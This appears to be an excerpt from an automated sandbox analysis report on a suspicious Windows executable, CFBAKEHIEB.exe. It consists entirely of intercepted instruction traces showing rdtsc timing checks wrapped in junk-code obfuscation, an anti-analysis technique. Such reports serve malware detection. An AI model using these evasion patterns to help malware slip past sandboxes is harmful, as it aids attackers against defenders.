Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD05A2 second address: 4BD068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c jmp 00007F12E108FDC3h 0x00000011 pop ecx 0x00000012 pushfd 0x00000013 jmp 00007F12E108FDC9h 0x00000018 sub ecx, 22B3C986h 0x0000001e jmp 00007F12E108FDC1h 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 mov si, bx 0x0000002a call 00007F12E108FDC3h 0x0000002f mov di, cx 0x00000032 pop eax 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 jmp 00007F12E108FDBBh 0x0000003a mov ebp, esp 0x0000003c pushad 0x0000003d mov esi, 29018A2Bh 0x00000042 mov ah, 9Eh 0x00000044 popad 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007F12E108FDC5h 0x0000004f jmp 00007F12E108FDBBh 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007F12E108FDC8h 0x0000005b adc cx, 9348h 0x00000060 jmp 00007F12E108FDBBh 0x00000065 popfd 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD068E second address: 4BD06A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC84h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD06A6 second address: 4BD06AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD06AA second address: 4BD06E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F12E0FAFC88h 0x00000014 or ecx, 3A5CC808h 0x0000001a jmp 00007F12E0FAFC7Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD06E4 second address: 4BD072E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FA65FCh] 0x0000000e jmp 00007F12E108FDBEh 0x00000013 test eax, eax 0x00000015 pushad 0x00000016 push eax 0x00000017 mov bx, A7B0h 0x0000001b pop edi 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f je 00007F13533E3000h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov edi, 2A8D5CE0h 0x0000002d movsx ebx, ax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD072E second address: 4BD0762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, eax 0x0000000c jmp 00007F12E0FAFC89h 0x00000011 xor eax, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F12E0FAFC7Ah 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0762 second address: 4BD077A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD077A second address: 4BD077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD077E second address: 4BD0784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0784 second address: 4BD078A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD078A second address: 4BD078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD078E second address: 4BD07B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edx, 3CED2130h 0x00000015 mov cx, bx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD07B6 second address: 4BD07BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD07BC second address: 4BD07C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD07C0 second address: 4BD07C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD07C4 second address: 4BD0801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F12E0FAFC85h 0x00000012 adc eax, 7BE5D366h 0x00000018 jmp 00007F12E0FAFC81h 0x0000001d popfd 0x0000001e mov bl, ch 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0801 second address: 4BD0857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E108FDC8h 0x00000009 or si, 5638h 0x0000000e jmp 00007F12E108FDBBh 0x00000013 popfd 0x00000014 mov ah, 64h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0004h 0x0000001c nop 0x0000001d mov esi, eax 0x0000001f lea eax, dword ptr [ebp-08h] 0x00000022 xor esi, dword ptr [003D2014h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b lea eax, dword ptr [ebp-10h] 0x0000002e push eax 0x0000002f call 00007F12E58D061Ch 0x00000034 push FFFFFFFEh 0x00000036 pushad 0x00000037 mov dx, 4814h 0x0000003b mov si, bx 0x0000003e popad 0x0000003f pop eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F12E108FDC1h 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0857 second address: 4BD085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD085D second address: 4BD0871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F12E58D0645h 0x00000010 mov edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, si 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0871 second address: 4BD0879 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BD0879 second address: 4BD08E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push esi 0x0000000a movsx edx, ax 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F12E108FDC7h 0x00000015 sbb esi, 6BD0941Eh 0x0000001b jmp 00007F12E108FDC9h 0x00000020 popfd 0x00000021 mov ax, 09E7h 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F12E108FDC8h 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80016 second address: 4B80025 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80025 second address: 4B8003C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ecx, 3BEBE0D7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cl, dh 0x00000014 mov edi, esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B8003C second address: 4B80058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC88h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80058 second address: 4B8005C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B8005C second address: 4B800BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ax, 4B43h 0x0000000e mov bl, ah 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F12E0FAFC7Bh 0x00000017 mov ebp, esp 0x00000019 jmp 00007F12E0FAFC86h 0x0000001e and esp, FFFFFFF8h 0x00000021 jmp 00007F12E0FAFC80h 0x00000026 xchg eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F12E0FAFC87h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B800BE second address: 4B800E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, si 0x0000000e push eax 0x0000000f push edx 0x00000010 mov edx, eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B800E4 second address: 4B80106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ecx 0x00000006 jmp 00007F12E0FAFC7Ch 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F12E0FAFC7Ch 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80106 second address: 4B80134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F12E108FDBCh 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F12E108FDC7h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80134 second address: 4B80223 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c jmp 00007F12E0FAFC7Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007F12E0FAFC80h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov ch, dl 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F12E0FAFC88h 0x00000022 add ax, 0F08h 0x00000027 jmp 00007F12E0FAFC7Bh 0x0000002c popfd 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 jmp 00007F12E0FAFC84h 0x00000037 mov esi, dword ptr [ebp+08h] 0x0000003a pushad 0x0000003b mov esi, 123C1CBDh 0x00000040 mov cx, C7B9h 0x00000044 popad 0x00000045 xchg eax, edi 0x00000046 pushad 0x00000047 mov edi, esi 0x00000049 popad 0x0000004a push eax 0x0000004b pushad 0x0000004c mov ax, CA4Fh 0x00000050 pushfd 0x00000051 jmp 00007F12E0FAFC84h 0x00000056 sbb eax, 3C92EEF8h 0x0000005c jmp 00007F12E0FAFC7Bh 0x00000061 popfd 0x00000062 popad 0x00000063 xchg eax, edi 0x00000064 jmp 00007F12E0FAFC86h 0x00000069 test esi, esi 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F12E0FAFC7Ah 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80223 second address: 4B80232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80232 second address: 4B802AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E0FAFC7Fh 0x00000009 sub si, D4CEh 0x0000000e jmp 00007F12E0FAFC89h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F135334E024h 0x0000001d pushad 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F12E0FAFC86h 0x00000025 and ecx, 21587878h 0x0000002b jmp 00007F12E0FAFC7Bh 0x00000030 popfd 0x00000031 pop eax 0x00000032 movsx edi, si 0x00000035 popad 0x00000036 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B802AA second address: 4B802AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B802AE second address: 4B802B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B802B4 second address: 4B802EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F135342E115h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F12E108FDC7h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B802EB second address: 4B80311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80311 second address: 4B80324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80324 second address: 4B80353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F12E0FAFC7Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80353 second address: 4B80363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E108FDBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80363 second address: 4B80367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80367 second address: 4B80412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e jmp 00007F12E108FDC7h 0x00000013 jne 00007F135342E0B2h 0x00000019 pushad 0x0000001a mov bx, ax 0x0000001d pushfd 0x0000001e jmp 00007F12E108FDC0h 0x00000023 adc esi, 3162A118h 0x00000029 jmp 00007F12E108FDBBh 0x0000002e popfd 0x0000002f popad 0x00000030 test byte ptr [esi+48h], 00000001h 0x00000034 pushad 0x00000035 call 00007F12E108FDC4h 0x0000003a mov ch, 22h 0x0000003c pop ebx 0x0000003d pushfd 0x0000003e jmp 00007F12E108FDBCh 0x00000043 and ax, C2A8h 0x00000048 jmp 00007F12E108FDBBh 0x0000004d popfd 0x0000004e popad 0x0000004f jne 00007F135342E062h 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F12E108FDC5h 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80412 second address: 4B80466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test bl, 00000007h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F12E0FAFC83h 0x00000015 xor eax, 0E8B6DFEh 0x0000001b jmp 00007F12E0FAFC89h 0x00000020 popfd 0x00000021 mov si, 1247h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80466 second address: 4B8046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B7076A second address: 4B70770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70770 second address: 4B70774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70774 second address: 4B70843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov esi, 563EB545h 0x0000000f call 00007F12E0FAFC82h 0x00000014 pushfd 0x00000015 jmp 00007F12E0FAFC82h 0x0000001a or ecx, 3E557008h 0x00000020 jmp 00007F12E0FAFC7Bh 0x00000025 popfd 0x00000026 pop esi 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a jmp 00007F12E0FAFC7Fh 0x0000002f and esp, FFFFFFF8h 0x00000032 jmp 00007F12E0FAFC86h 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F12E0FAFC7Eh 0x0000003f xor ah, FFFFFFC8h 0x00000042 jmp 00007F12E0FAFC7Bh 0x00000047 popfd 0x00000048 push esi 0x00000049 pushfd 0x0000004a jmp 00007F12E0FAFC7Fh 0x0000004f and esi, 19DC930Eh 0x00000055 jmp 00007F12E0FAFC89h 0x0000005a popfd 0x0000005b pop esi 0x0000005c popad 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 movsx edi, ax 0x00000064 pushad 0x00000065 popad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70843 second address: 4B708A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F12E108FDC6h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov di, cx 0x00000014 movzx ecx, bx 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F12E108FDC4h 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 mov edx, eax 0x00000022 mov si, 1F19h 0x00000026 popad 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F12E108FDBBh 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B708A0 second address: 4B70905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F12E0FAFC80h 0x0000000c jmp 00007F12E0FAFC85h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 sub ebx, ebx 0x00000017 pushad 0x00000018 mov cx, bx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F12E0FAFC7Fh 0x00000023 sub cl, 0000004Eh 0x00000026 jmp 00007F12E0FAFC89h 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70905 second address: 4B70961 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F12E108FDC0h 0x00000008 sbb ah, FFFFFFC8h 0x0000000b jmp 00007F12E108FDBBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 test esi, esi 0x00000016 jmp 00007F12E108FDC6h 0x0000001b je 00007F1353435802h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F12E108FDC7h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70961 second address: 4B70967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70967 second address: 4B709E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 call 00007F12E108FDC4h 0x00000018 mov dl, cl 0x0000001a pop edx 0x0000001b mov cl, A5h 0x0000001d popad 0x0000001e mov ecx, esi 0x00000020 jmp 00007F12E108FDBFh 0x00000025 je 00007F13534357AEh 0x0000002b jmp 00007F12E108FDC6h 0x00000030 test byte ptr [76FA6968h], 00000002h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F12E108FDC7h 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B709E7 second address: 4B709ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B709ED second address: 4B709F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B709F1 second address: 4B70A22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F1353355633h 0x0000000e jmp 00007F12E0FAFC87h 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov esi, 3705714Dh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70A22 second address: 4B70A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f mov si, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70A43 second address: 4B70A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E0FAFC85h 0x00000009 xor cx, E936h 0x0000000e jmp 00007F12E0FAFC81h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F12E0FAFC81h 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 movsx edx, cx 0x00000024 mov eax, 3C0F0F2Bh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70A95 second address: 4B70AF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F12E108FDBEh 0x0000000f push eax 0x00000010 jmp 00007F12E108FDBBh 0x00000015 xchg eax, ebx 0x00000016 jmp 00007F12E108FDC6h 0x0000001b push dword ptr [ebp+14h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F12E108FDC7h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80E14 second address: 4B80E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80B71 second address: 4B80B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
